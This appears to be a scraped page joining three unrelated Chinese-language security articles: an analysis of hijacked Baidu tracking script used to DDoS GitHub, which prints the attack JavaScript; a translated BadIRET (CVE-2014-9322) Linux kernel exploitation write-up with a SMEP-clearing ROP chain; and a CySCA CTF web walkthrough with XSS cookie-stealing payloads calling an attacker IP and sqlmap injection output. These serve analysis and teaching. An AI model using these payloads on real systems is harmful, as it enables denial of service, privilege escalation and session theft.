Baidu’s traffic hijacked to DDoS GitHub.com [Updated]

UPDATE:

Netresec has done a really professional analysis on this matter. Too bad the attack stopped before I could capture some packets.
Now here is their finding:

http://www.netresec.com/?page=Blog&month=2015-03&post=China%27s-Man-on-the-Side-Attack-on-GitHub

Robert Graham from Errata Security also pin pointed the exact location where the attack took place using HTTP traceroute:

http://blog.erratasec.com/2015/04/pin-pointing-chinas-attack-against.html

You can do the same by modifying this tool which was used to locate the nodes of GFW:

https://github.com/mothran/mongol

 

 

As a Chinese living outside of China, I frequently visit Chinese websites, many of which use advertising and visitor tracking provided by Baidu, the largest search engine available in China. As I was browsing one of the most popular Chinese infosec community in China, zone.wooyun.org, at around 12:00pm GMT+8, my browser suddenly started to pop up JS alerts every 5 seconds.
Alert

My first thought was someone naughty XSSed the page, so I opened developer tools to find the source of the XSS.

JS event

Almost instantly I saw it was keep trying to load these two URLs: github.com/greatefire/ and github.com/cn-nytimes/ every a few seconds.

After some digging I located the source of the JS that did it, a piece of code under each page:

</pre>
<div style="display: none;"><script type="text/javascript">// <![CDATA[
var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://"); document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3F3faf3a47435cc512f3b86dc12af100d0' type='text/javascript'%3E%3C/script%3E"));
// ]]></script></div>
<pre>

The Baidu user tracking code, just like Google Analytics code that you would see on other websites.

All the function call was triggered from this file, so I opened http://hm.baidu.com/h.js in browser:

code

Seems it has been obfuscated. No custom JS bytecode VM? You call that JS obfuscation? …piece of a cake:

document.write("<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js">// <![CDATA[

\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}

function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)
        }
    })
}

function r_send(a) {
    setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);

Every 2 seconds, as you can see from setTimeout(“r_send2()”, 2E3) , it will try to load an random URL from

["https://github.com/greatfire/", "https://github.com/cn-nytimes/"]

I asked some of my friends in China to open the js file from Baidu.com, it was blank as it supposed to, to display a blank page if the request does not have a HTTP referrer.

Apparently many other people have discovered it too:

1

2

Appears to be HTTP hijacking.

I scanned hm.baidu.com with NMAP, only two ports were opened, 80 and 443
SSL connection was not hijacked:
s5

nmap

Traceroute:
mtr

It is also worth noting that on port 80, web server was lighttpd, but on port 443 it was Apache

What is happening here is pretty clear now:
A certain device at the border of China’s inner network and the Internet has hijacked the HTTP connections went into China, replaced some javascript files from Baidu with malicious ones that would load

["https://github.com/greatfire/", "https://github.com/cn-nytimes/"]

every two seconds.

OK that explained something but not everything, why it started to alert user with

Warning: malicious javascript detected on this domain

When I opened one of the urls being DDoSed above, the content was:

alert("WARNING: malicious javascript detected on this domain")

Very clever, use alert to block code execution to prevent it being called in a loop. Maybe it was done by Github or Greatfire themselves, who knows.

Conclusion:

Remember this?

http://furbo.org/2015/01/22/fear-china/

In other words, even people outside China are being weaponized to target things the Chinese government does not like, for example, freedom of speech.

EDIT:

By the time I posted this article, the attack has stopped has evolved by using other javascript files from Sina blog.
// ]]>

BadIRET漏洞利用

作者:Rafal Wojtczuk,Feb 2 2015

原文:Exploiting “BadIRET” vulnerability (CVE-2014-9322, Linux kernel privilege escalation)

http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/

译者:Shawn the R0ck,(参与者自己把名字加到后面)

POC( 感谢Mickey提供的链接):

https://rdot.org/forum/showthread.php?t=3341

Shawn:对于这个漏洞,本文的结论是SMEP虽然被绕过了,但SMAP是依然奏效的,
这里只想提一下类似PaX/Grsecurity的UDEREF特性和SMAP类似,只是属于纯软件
实现,大概2006年左右这个特性就已经有了而且被一些anarchy广泛使用。

这个漏洞影响很广,Debian几乎所有社区还在维护的版本都受影响:

https://security-tracker.debian.org/tracker/CVE-2014-9322

RedHat的企业版RHEL 4/5/6/7都受影响:

https://access.redhat.com/security/cve/CVE-2014-9322

--[ 0. Intro

CVE-2014-9322的描述如下:

-------------------------------------------------------------------
linux内核代码文件arch/x86/kernel/entry_64.S在3.17.5之前的版本都没有正确
的处理跟SS(堆栈区)段寄存器相关的错误,这可以让本地用户通过触发一个
IRET指令从错误的地址空间去访问GS基地址来提权。
-------------------------------------------------------------------

这个漏洞于2014年11月23日被社区修复[2],至今我并没有见到公开的利用代码和
详细的讨论。这篇文章我会尝试去解释这个漏洞的本质以及利用的过程。不幸的
是,我无法完全引用Intel白皮书[3]的所有内容,如果有读者不熟悉一些术语可
以直接查Intel白皮书。所有的实验都是在Fedora 20 64-bit发行版上完成的,内
核是3.11.10-301,所有的讨论基于64位进行。

简单结论概要:

1. 通过测试,这个漏洞可以完全稳定的被利用。

2. SMEP[4]不能阻止任意代码执行;SMAP[5]可以阻止任意代码执行。


--[ 1. Digression: kernel, usermode, iret

...............................
来原文看图吧:

http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/

...............................


--[ 2. 漏洞

在一些情况下,linux内核通过iret指令返回用户空间时会产生一个异常。异常处
理程序把执行路径返回到了bad_iret函数,她做了:

--------------------------------------------------------------------------
     /* So pretend we completed the iret and took the #GPF in user mode.*/
     pushq $0
     SWAPGS
     jmp general_protection
--------------------------------------------------------------------------

正如这行评论所解释,接下来的代码流应该和一般保护异常(General
Protection)在用户空间发生时(转跳到#GP处理程序)完全相同。这种异常处理
情况大多是由iret指令引发的,e.g. #GP。

问题在于#SS异常。如果有漏洞的内核(比如3.17.5)也有"espfix"功能(从
3.16引入的特性),之后bad_iret函数会在只读的栈上执行"push"指令,这会导
致页错误(page fault)而会直接引起两个错误。我不考虑这种场景;从现在开
始,我们只关注在3.16以前的没有"espfix"的内核。

这个漏洞根源于#SS的异常处理程序没有符合
“pretend-it-was-#GP-in-userspace”[6]的规划,与#GP处理程序相比,#SS异常
处理会多做一次swapgs指令。如果你对swapgs不了解,请不要跳过下面的章节。


--[ 3. 偏题:swapgs指令

当内存通过gs段进行访问时,像这样:

------------------------------------------
mov %gs:LOGICAL_ADDRESS, %eax
------------------------------------------

实际会发生以下几步:

1. BASE_ADDRESS值从段寄存器的隐藏部分取出

2. 内存中的线性地址LOGICAL_ADDRESS+BASE_ADDRESS被dereferenced(Shawn:
char *p; *p就是deref)。

基地址是从GDT(或者LDT)继承过来的。无论如何,有一些情况是GS段基地址被
修改的动作不需要GDT的参与。

引用自Intel白皮书:

“SWAPGS把当前GS基寄存器值和在MSR地址C0000102H(IA32_KERNEL_GS_BASE)所包
含的值进行交换。SWAPGS指令是一个为系统软件设计的特权指令。(....)内核可
以使用GS前缀在正常的内存引用去访问[per-cpu]内核数据结构。”

Linux内核为每个CPU在启动时分配一个固定大小的结构体来存放关键数据。之后
为每个CPU加载IA32_KERNEL_GS_BASE到相应的结构地址上,因此,通常的情况,
比如系统调用的处理程序是:

1. swapgs(现在是GS指向内核空间)

2. 通过内存指令和gs前缀访问per-cpu内核数据结构

3. swapgs(撤销之前的swapgs,GS指向用户空间)

4. 返回用户空间

内核代码天生必须保证随时能访问到带gs前缀的percpu数据,内核执行一堆
swapgs指令时条目来自用户空间并不是偶然。(所以gs base指向内核内存)


--[ 4. 触发漏洞

现在很明显可以看到这个漏洞简直就是坟墓,因为多了一个swapgs指令在有漏洞
代码路径里,内核会尝试从可能被用户操控的错误GS基地址访问重要的数据结构。

当iret指令产生了一个#SS异常?有趣的是,Intel白皮书在这方面介绍不完全(
Shawn:是阴谋论的话又会想到BIG BROTHER?);描述iret指令时,Intel白皮书这
么讲:

----------------------------------------------------------------------

64位模式的异常:

#SS(0)

如果一个尝试从栈上pop一个值违反了SS限制。

如果一个尝试从栈上pop一个值引起了non-canonical地址(Shawn: 64-bit下只允
许访问canonical地址)的引用。

----------------------------------------------------------------------

没有一个条件能被强制在内核空间里发生。无论如何,Intel白皮书里的iret伪代
码展示了另外一种情况:when the segment defined by the return frame is
not present:

----------------------------------------------------------------------
IF stack segment is not present

THEN #SS(SS selector); FI;
----------------------------------------------------------------------

所以在用户空间,我们需要设置ss寄存器为某个值来表示不存在。这不是很直接:
我们不能仅仅使用:

----------------------------------------------------------------------
mov $nonpresent_segment_selector, %eax

mov %ax, %ss
----------------------------------------------------------------------

第二条指令会引发#GP。通过调试器(任何ptrace)设置ss寄存器是不允许的;类
似的,sys_sigreturn系统调用不会在64位系统上设置这个寄存器(可能32位能工
作)。解决方案是:

1. 线程A:通过sys_modify_ldt系统调用在LDT里创建一个定制段X

2. 线程B:s:=X_selector

3. 线程A:通过sys_modify_ldt使X无效

4. 线程B:等待硬件中断


为什么需要在一个进程里使用两个线程的原因是从系统调用(包括
sys_modify_ldt)返回是通过硬编码了#ss值的sysret指令。如果我们使X在相同
的线程中无效就等同于"ss:=X 指令“,ss寄存器会处于未完成设置的状态。运行
以上代码会导致内核panic。按照更有意义的做法,我们将需要控制用户空间的
gs基地址;她可以通过系统调用arch_prctl(ARCH_SET_GS)被设置。


--[ 5. Achieving write primitive 

如果运行以上代码,#SS处理程序会正常的返回bad_iret(意思是没有触及到内存
的GS基地址),之后转跳到#GP异常处理程序,执行一段时间后就调用到了这个函
数:

--------------------------------------------------------------------

289 dotraplinkage void
290 do_general_protection(struct pt_regs *regs, long error_code)
291 {
292         struct task_struct *tsk;
...
306         tsk = current;
307         if (!user_mode(regs)) {
                ... it is not reached
317         }
318 
319         tsk->thread.error_code = error_code;
320         tsk->thread.trap_nr = X86_TRAP_GP;
321 
322         if (show_unhandled_signals && unhandled_signal(tsk, SIGSEGV) &&
323                         printk_ratelimit()) {
324                 pr_info("%s[%d] general protection ip:%lx sp:%lx
error:%lx",
325                         tsk->comm, task_pid_nr(tsk),
326                         regs->ip, regs->sp, error_code);
327                 print_vma_addr(" in ", regs->ip);
328                 pr_cont("\n");
329         }
330 
331         force_sig_info(SIGSEGV, SEND_SIG_PRIV, tsk);
332 exit:
333         exception_exit(prev_state);
334 }

--------------------------------------------------------------------

C代码不太明显,但从gs前缀读取到现有宏的值赋给了tsk。第306行是:

----------------------------------------------------------------

0xffffffff8164b79d :	mov    %gs:0xc780,%rbx

----------------------------------------------------------------

这很变得有意思起来了。我们控制了current指针,她指向用于描述整个Linux进
程的数据结构。

----------------------------------------------------------------

319         tsk->thread.error_code = error_code;
320         tsk->thread.trap_nr = X86_TRAP_GP;

----------------------------------------------------------------

写入(从task_struct开始的固定偏移)我们控制的地址。注意值本身不能被控制
(分别是0和0xd常量),但这不应该成为一个问题。游戏结束?

不会,我们想覆盖一些在X上的重要数据结构。如果我们按照以下的步骤:

1. 准备在FAKE_PERCPU的用户空间内存,设置gs基地址给她

2. 让地址FAKE_PERCPU+0xc780存着指针FAKE_CURRENT_WITH_OFFSET,以满足
FAKE_CURRENT_WITH_OFFSET= X – offsetof(struct task_struct,
thread.error_code)

3. 触发漏洞

之后do_general_protection会写入X。但很快就会尝试再次访问current
task_current的其他成员,e.g.unhandled_signal()函数从task_struct指针解引
用。我们没有依赖X来控制,最终会在内核产生一个页错误。我们怎么避免这个问
题?选项有:

1. 什么都不做。Linux内核不像Windows,Linux内核是完全允许当一个不是预期
的页错误在内核出现,如果可能的话,内核会杀死当前进程之后尝试继续运行
(Windows会蓝屏)。这种机制对于大量内核数据污染就无能为力了。我的猜测是
在当前进程被杀死后,swapgs不平衡的保持下来,这会导致其他进程上下文的更
多页错误。

2. 使用“tsk->thread.error_code = error_code”覆盖为页错误处理程序的IDT入
口。之后页错误发生(被unhandled_signal()触发)。这个技术曾经在一些偶然
的环境中成功过。但在这里不会成功,因为有2个原因:

	* Linux让IDT只读

	* 就算IDT可写,我们也不能控制覆盖的值 -- 0或者0xd。SMEP/SMAP也
          会是问题。

3. 我们可以尝试产生一个竞争。“tsk->thread.error_code = error_code”会促
进代码执行,比如允许通过系统调用控制的代码指针P。之后我们可以在CPU 0上
触发漏洞,在同一时间段CPU 1可以循环执行一些系统调用。这个思路可以在CPU
0被破坏前让通过CPU 1获得代码执行,比如hook页错误处理程序,这样CPU 0不会
影响更多的地方,我尝试了这种方法多次,但都失败了。可能不同的漏洞在时间
线上的不同所致。

4. Throw a towel on “tsk->thread.error_code = error_code” write.

虽然有些恶心,我们会尝试最后一个选项。我们会让current指向用户空间,设置
这个指针可以通过读的deref到我们能控制的内存。自然的,我们观察接下来的代
码,找找更多的写deref。


--[ 6. Achieving write primitive continued, aka life after do_general_protection

下一个机会是do_general_protection()所调用的函数:

-----------------------------------------------------------------------

int
force_sig_info(int sig, struct siginfo *info, struct task_struct *t)
{
        unsigned long int flags;
        int ret, blocked, ignored;
        struct k_sigaction *action;

        spin_lock_irqsave(&t->sighand->siglock, flags);
        action = &t->sighand->action[sig-1];
        ignored = action->sa.sa_handler == SIG_IGN;
        blocked = sigismember(&t->blocked, sig);   
        if (blocked || ignored) {
                action->sa.sa_handler = SIG_DFL;
                if (blocked) {
                        sigdelset(&t->blocked, sig);
                        recalc_sigpending_and_wake(t);
                }
        }
        if (action->sa.sa_handler == SIG_DFL)
                t->signal->flags &= ~SIGNAL_UNKILLABLE;
        ret = specific_send_sig_info(sig, info, t);
        spin_unlock_irqrestore(&t->sighand->siglock, flags);

        return ret;
}

-----------------------------------------------------------------------


task_struct的成员sighand是一个指针,我们可以设置任意值。

-----------------------------------------------------------------------

action = &t->sighand->action[sig-1];
action->sa.sa_handler = SIG_DFL;

-----------------------------------------------------------------------


我们无法控制写的值,SIG_DFL是常量的0。这里最终能工作了,虽然有些扭曲。
假设我们想覆盖内核地址X。为此我们准备伪造的task_struct,所以X等于
t->sighand->action[sig-1].sa.sa_handler的地址。上面还有一行要注意:

-----------------------------------------------------------------------

spin_lock_irqsave(&t->sighand->siglock, flags);

-----------------------------------------------------------------------


t->sighand->siglock在t->sighand->action[sig-1].sa.sa_handler的常量偏移
上,内核会调用spin_local_irqsave在某些地址上,X+SPINLOCK的内容无法控制。
这会发生什么呢?两种可能性:


1. X+SPINLOCK所在的内存地址看起来像没有锁的spinlock。spin_lock_irqsave
会立即完成。最后,spin_unlock_irqrestore会撤销spin_lock_irqsave的写操作。

2.X+SPINLOCK所在的内存地址看起来像上锁的spinlock。如果我们不介入的话,
spin_lock_irqsave会无线循环等待spinlock。有些担心,要绕过这个障碍我们得
需要其他假设 --- X+SPINLOCK所在内存地址的内容。这是可接受的,我们可以在
后面看到在内核.data区域里设置X。

	* 首先,准备FAKE_CURRENT,让t->sighand->siglock指向用户空间上锁
          的区域,SPINLOCK_USERMODE

	* force_sig_info()会挂在spin_lock_irqsave里

	* 这时,另外一个用户空间的线程在另外一个CPU上运行,并且改变了
          t->sighand,所以t->sighand->action[sig-1.sa.sa_hander成了我们
          的覆盖目标,之后解锁SPINLOCK_USERMODE

	* spin_lock_irqsave会返回

	* force_sig_info()会重新载入t->sighand,执行期望的写操作


鼓励细心的读者追问为什么不能使用第2种方案,即X+SPINLOCK在初始时是没有锁
的。这并不是全部 --- 我们需要准备一些FAKE_CURRENT的字段来让尽量少的代码
执行。我不会再透露更多细节 --- 这篇BLOG已经够长了....下一步会发生什么?
force_sig_info()和do_general_protection()返回。接下来iret指令会再次产生
#SS异常处理(因为仍然是用户空间ss的值在栈上引用了一个nonpresent段),但
这一次,#SS处理程序里的额外swapgs指令会返回并取消之前不正确的swapgs。
do_general_protection()会调用和操作真正的task_struct,而不是伪造的
FAKE_CURRENT。最终,current会发出SIGSEGV信号,其他进程会被调度来执行。
这个系统仍然是稳定的。

................................................
看原文的图:

http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/

................................................


--[ 7. 插曲:SMEP

SMEP是Intel处理器从第3代Core(Shawn:酷睿)时加入的硬件特性。如果控制寄
存器CR4里的SMEP位被设置的话,当RING0(Shawn:标准Linux内核是RING0,在
XEN下是例外,RING0是Hypervisor)尝试执行的代码来自标记为用户空间的内存
页,CPU就会生成一个错误(Shawn:就是拒绝)。如果可能的话,Linux内核会默
认开启SMEP。


--[ 8. 实现代码执行

之前的章节讲述了一种如何以0在内核内存中覆盖8个连续字节的方法。如果SMEP
开启的情况下如何实现代码执行呢?

直接覆盖一个内核代码的指针是不行的。我们可以清零top bytes( Shawn: MSB)
- 但之后的地址会在用户空间,所以SMEP会阻止这个指针的deref。

换一种方式,我们可以清零几个low bytes( Shawn: LSB),但是之后能利用这个
指针的概率也很低。

我们需要一个内核指针P指向结构X包含了代码指针。我们可以覆盖P的top bytes
让她成为一个用户空间的地址,这样P->code_pointer_in_x()调用会跳转到一个
我们能选择的地址。我不确定最好选择哪个攻击对象。从我的经验来看,我选择
内核proc_root变量,这是一个结构体:

----------------------------------------------------------------------

struct proc_dir_entry {
            ...
        const struct inode_operations *proc_iops;
        const struct file_operations *proc_fops;
        struct proc_dir_entry *next, *parent, *subdir;
        ...
        u8 namelen;
        char name[];
};

----------------------------------------------------------------------

这个结构体是一个proc文件系统的入口(proc_root是/proc作为proc文件系统的
根目录)。当一个文件名路径开始在/proc里查询时,subdir指针(从
proc_root.subdir开始)会跟进,直到名字被找到。之后proc_iops的指针会被调
用:

----------------------------------------------------------------------

struct inode_operations {
        struct dentry * (*lookup) (struct inode *,struct dentry *, unsigned int);
        void * (*follow_link) (struct dentry *, struct nameidata *);
        ...many more...
        int (*update_time)(struct inode *, struct timespec *, int);
        ...
} ____cacheline_aligned;

----------------------------------------------------------------------

proc_root驻扎在内核代码段里,这意味着漏洞利用需要知道她的地址。这个信息
可以从/proc/kallsyms符号表得到;当然,很多加固过的内核不允许普通用户读
取这个文件。但如果内核是一个已知的build(标准的GNU/Linux发行版),这个
地址可以轻松获得;和一堆偏移一样需要构建FAKE_CURRENT。

我们会覆盖proc_root.subdir,让她成为一个指向一个在用户空间能被控制的结
构体proc_dir_entry。有点困难在于我们不能覆盖整个指针。别忘了我们的写操
作是“覆盖8个0”。如果我们让proc_root.subdir变成0,我们不会去映射她,因为
Linux内核不允许用户空间映射到地址0上(更确切的说发是,任何低于
/proc/sys/vm/mmap_min_addr的地址,默认值一般是4k)。(Shawn:想想哪些
0ld good hacking days,每天都有一堆NULL pointer deref是多么幸福活着无挑
战的时光啊;-))。这意味着我们需要:

1. 映射16MB的内存到地址4096

2. 使用类似proc_dir_entry的方式来填充,把inode_operations字段指向用户空
间的地址FAKE_IOPS,name字段为字符串"A"。

3. 配置漏洞利用去覆盖proc_root.subdir的top 5 bytes。

之后,除非proc_root.subdir最低的3 bytes是0,我们可以确定在触发
force_sig_info()覆盖后,proc_root.subdir会指向被控制的用户空间内存。当
我们的进程调用open("/proc/A",...)时,FAKE_IOPS的指针会被调用。她们应该
指向哪里呢?如果你认为答案是“指向我们的shellcode“,请再读一遍上面的分析。

我们需要让FAKE_IOPS指针指向一个stack pivot[1]序列。这再次假设了具体内核
运行的版本情况。通常的"xchg %esp, %eax; ret"代码序列(2个字节,94 c3是
在测试内核的地址0xffffffff8119f1ed)很好的可以用于64位内核的ROP。就算没
能控制%rax,这个xchg指令操作32位的寄存器也能清掉%rsp的高32位而让%rsp着
陆在用户空间的内存里。在最糟糕的情况下,我们可以分配低4GB的虚拟内存然后
填充ROP链条。

在当前测试的内核(Fedora 20)有两种方法去deref在FAKE_IOPS的指针:

1. %rax:=FAKE_IOPS; call *SOME_OFFSET(%rax)

2. %rax:=FAKE_IOPS; %rax:=SOME_OFFSET(%rax); call *%rax 

第1种情况里,在%rsp和%rax交换值后,她会等于FAKE_IOPS。我们需要ROP链条驻
扎在FAKE_IOPS的起始位置,这需要类似“add $A_LOT, %rsp; ret”的指令,然后
在继续。

第2种情况里,%rsp会分配低32位的调用目标,即0x8119f1ed。我们需要准备在这
个地址上的ROP链条。

计算一下%rax值有两者之一的已知值在特定的时间指向stack pivot序列,我们不
需要ROP链条填充整个4GB内存,只需要上面的两个地址即可。第2种情况的ROP链
条自身很简洁:

----------------------------------------------------------------------

unsigned long *stack=0x8119f1ed;
*stack++=0xffffffff81307bcdULL;  // pop rdi, ret
*stack++=0x407e0;                //cr4 with smep bit cleared
*stack++=0xffffffff8104c394ULL;  // mov rdi, cr4; pop %rbp; ret
*stack++=0xaabbccdd;             // placeholder for rbp
*stack++=actual_shellcode_in_usermode_pages;

----------------------------------------------------------------------


--[ 9. 插曲:SMAP

SMAP是Intel从第5代Core处理器推出的一个硬件特性。如果CR4控制寄存器的
SMAP位被设置的话,CPU会拒绝用户空间的页被RING0访问(Shawn:个人理解,
SMAP和SMEP最大的不同主要是SMEP针对代码段,而SMAP针对数据段)。Linux内核
通常会默认开启SMAP。一个测试的内核模块(Core-M 5Y10a CPU)尝试访问用户
空间然后crash了:

----------------------------------------------------------------------

[  314.099024] running with cr4=0x3407e0
[  389.885318] BUG: unable to handle kernel paging request at 00007f9d87670000
[  389.885455] IP: [ffffffffa0832029] test_write_proc+0x29/0x50 [smaptest]
[  389.885577] PGD 427cf067 PUD 42b22067 PMD 41ef3067 PTE 80000000408f9867
[  389.887253] Code: 48 8b 33 48 c7 c7 3f 30 83 a0 31 c0 e8 21 c1 f0 e0 44 89 e0 48 8b 

----------------------------------------------------------------------

正如我们看到的,用户空间的页是正常的,但访问也报了页错误。Windows系统不
太支持SMAP;Windows 10技术预览版build 9926的cr4=0x1506f8(SMEP启动,
SMAP关闭);对比Linux内核(同样的测试硬件)你可以看到cr4的bit 21是没有设
置的。这不奇怪,在Linux中,访问用户空间是通过调用copy_from_user(),
copy_to_user()和类似函数显式执行的,所以执行这些操作时临时关闭SMAP是可
行的。在Windows上,内核代码直接访问用户空间代码,只是包装了一层访问异常
处理程序,所以要让SMAP工作正常需要调整所有的驱动,这是一项困难的工作。


--[ 10. SMAP to the rescue!

上面的漏洞利用方法依赖于在用户空间里准备特定的数据结构,然后强制内核认
为她们是可信的内核数据。这种方法对于开启SMAP特性的内核不奏效 --- CPU会
拒绝从用户空间读取恶意数据。我们能做的是构造所有需要用的数据结构,然后
拷贝她们到内核。比如:

----------------------------------------------------------------------

write(pipe_filedescriptor, evil_data, ...

----------------------------------------------------------------------

之后evil_data会被拷贝到一个内核管道缓冲区里。我们可能需要猜测她的地址;
some sort of heap spraying, combined with the fact that there is no
spoon^W effective kernel ASLR[9], could work, although it is likely to be
less reliable than exploitation without SMAP.

总之,还有最后一个障碍 --- 不要忘了我们需要设置用户空间的gs base去指向
我们的漏洞利用的数据结构。在上面的场景(没有SMAP),我们使用
arch_prctl(ARCH_SET_GS)系统调用,她是这样在内核里实现的:

----------------------------------------------------------------------

long do_arch_prctl(struct task_struct *task, int code, unsigned long addr)
{ 
         int ret = 0; 
         int doit = task == current;
         int cpu;
 
         switch (code) { 
         case ARCH_SET_GS:
                 if (addr >= TASK_SIZE_OF(task))
                         return -EPERM; 
                 ... honour the request otherwise

----------------------------------------------------------------------

休斯顿,我们有一个麻烦 --- 我们不能使用这个API去设置gs base用户空间以上
的内存!

最近的CPU有wrgsbase指令可以直接设置gs base,这是一个非特权级指令,但需
要通过内核设置CR4控制寄存器中的FSGSBASE bit( no 16)来开启。Linux并没有
设置这个位,因此用户空间不能使用这条指令。

在64位系统上,非系统级的GDT和LDT条目依然是8个字节长,base field是最大
4GB-1,所以根本没有机会设置一个基地址的段在内核空间里。所以,除非我漏掉
了能在内核里设置用户态gs base的其他方法,不然SMAP能保护CVE-2014-9322针
对64位Linux内核任意代码执行的漏洞利用。


[1] CVE-2014-9322 

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9322

[2] Upstream fix

http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6f442be2fb22be02cafa606f1769fa1e6f894441

[3] Intel Software Developer’s Manuals,

http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html

[4] SMEP

http://vulnfactory.org/blog/2011/06/05/smep-what-is-it-and-how-to-beat-it-on-linux/

[5] SMAP

http://lwn.net/Articles/517475

[6] "pretend-it-was-#GP-in-userspace"

https://lists.debian.org/debian-kernel/2014/12/msg00083.html

[7] Stack Pivoting

https://trailofbits.files.wordpress.com/2010/04/practical-rop.pdf

[8] TSX improves timing attacks against KASLR

http://labs.bromium.com/2014/10/27/tsx-improves-timing-attacks-against-kaslr/

2014年澳大利亚信息安全挑战 CySCA CTF 官方write up Web篇

本文仅授权乌云网 *.wooyun.org转载

一年一度的澳洲CySCA CTF是一个由澳洲政府和澳洲电信Telstra赞助的信息安全挑战赛,主要面向澳洲各大学的安全和计算机科学专业的学生。CTF环境全部虚拟化并且需要openvpn才能进入。

第一题 非请勿入

说明:
一个只有VIP用户才能进去的blog,想办法进去后就能看到flag了。

解题:

打开burp和浏览器开始观察目标,我们发现了几个有意思的地方:

有个用户登录页面 login.php
blog导航栏里有个博客页面的链接,但是是灰色的无法点击也打不开
cookie有两个,PHPSESSID还有vip=0
cookie没有http only,有可能被xss到

vip=0,这有点明显,用burp或者浏览器cookie编辑工具把vip改成1,刷新页面后那个隐藏的链接可以打开了,打开后就是flag:

ComplexKillingInverse411

第二题 好吃的小甜饼

说明:
用已任何已注册用户的身份成功登录blog。

解题:
翻了翻这个博客,又发现了几个好玩的地方:

可以看博客内容
可以添加回复
用户Sycamore似乎正在看第二篇博客 view=2

Burp的内建插件 intruder可以用来在提交的参数里插入sql注入或者xss代码,Kali中自带了几个xss和sql注入的字典:

/usr/share/wfuzz/wordlist/Injections/SQL.txt
/usr/share/wfuzz/wordlist/Injections/XSS.txt

用这几个字典里的标准注入语句和xss代码对 GET view=?和 POST comment=?这两个参数过了一遍,没发现任何xss或者注入,于是我们决定对comment这个地方再仔细看看。

comment参数似乎过滤了不少东西,比如去掉了所有引号,转义了全部html特殊字符。但是似乎comment支持markdown语言里的斜体,粗体和链接标签,然后我们用burp intruder的xss测试在下面几个输入里面测试:

_test_
*test*
[test](test)

果然成功了,在markdown链接标签的链接名称的地方存在XSS:

[<script>alert('xss')</script>](test)

后续测试发现链接名称最长只能用30字符,翻了翻OWASP的XSS cheat sheet,https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
最短的是这个:

在Kali中,新建个文件 .j,里面放点偷cookie的js:
$.get(‘http://192.168.16.101?cookie=’+document.cookie);
然后在同目录下用python开个http服务器:
python ­-m SimpleHTTPServer 80

发送XSS payload

[<script src=//192.168.16.101/.j>](test)

然后坐等目标上钩…
.
.
.
等了这么久怎么还没有?
原来是192.168.16.101这个ip太长了,payload被截断了……
再仔细想想,好像很多浏览器支持十进制IP的,于是我们的payload变成了:

[<script src=//3232239717/.j>](test)

好吧,其实还是超过了30位,不过比赛的时候这个长度被改成了75位所以无所谓了。

发送这个payload后,过了一会儿在控制台里出现了Python HTTP Server的日志:

172.16.1.80 ­ ­ [20/Feb/2014 16:11:07] "GET /.j HTTP/1.1" 200 ­
172.16.1.80 ­ ­ [20/Feb/2014 16:11:12] "GET
/?cookie=PHPSESSID=pm5qdd1636bp8o1fs92smvi916;%20vip=0 HTTP/1.1" 301

伪造cookie刷新后拿到flag: OrganicShantyAbsent505

第三题 Nonce-Sense

说明:
Flag在数据库里。

解题:
用上面用户的cookie登录后逛了一下,发现用户可以在自己的blog下面删除评论,这个功能是通过ajax POST到deletecomment.php实现的,提交的内容里有CSRF token。

CSRF token会被最先检查,如果不对的话会直接返回错误,这样导致对提交的参数进行自动化测试会比较困难,好在burp提供了宏这个功能,可以让我们自动采集CSRF token然后提交。

每次POST到deletecomment.php这个页面都会返回一个不同的CSRF token,下次提交的时候必须带着才行。
我们可以用burp里的session handler中的宏来抓取,我建议你先读一下这篇:

http://labs.asteriskinfosec.com.au/fuzzing-­and­-sqlmap­-inside-­csrf-­protected­-locations-­part­1/

通过SQL intruder插件,很快就可以发现在comment_id参数中存在SQL注入。

{"result":false,"error":"You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use near
'\"' at line 1","csrf":"43b461afdd56f52f"}

找到注入点后,拿上顺手的SQLMAP和Burp的proxy session宏结合起来,参考这里:

http://labs.asteriskinfosec.com.au/fuzzing-­and­-sqlmap­-inside-­csrf-­protected­-locations-­part­2/

把sqlmap的请求都保存到文件里,并且确保更新session cookie

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id
...
[17:15:55] [WARNING] target URL is not stable. sqlmap will base the page
comparison on a sequence matcher. If no dynamic nor injectable parameters are
detected, or in case of junk results, refer to user's manual paragraph 'Page
comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
...
[17:16:39] [INFO] heuristic (basic) test shows that POST parameter 'comment_id'
might be injectable (possible DBMS: 'MySQL')

...
heuristic (parsing) test showed that the back­end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'MySQL' extending provided level (1) and risk
(1)? [Y/n] n
...
[17:17:13] [INFO] POST parameter 'comment_id' is 'MySQL >= 5.0 AND error­based ­
WHERE or HAVING clause' injectable
...
POST parameter 'comment_id' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] n

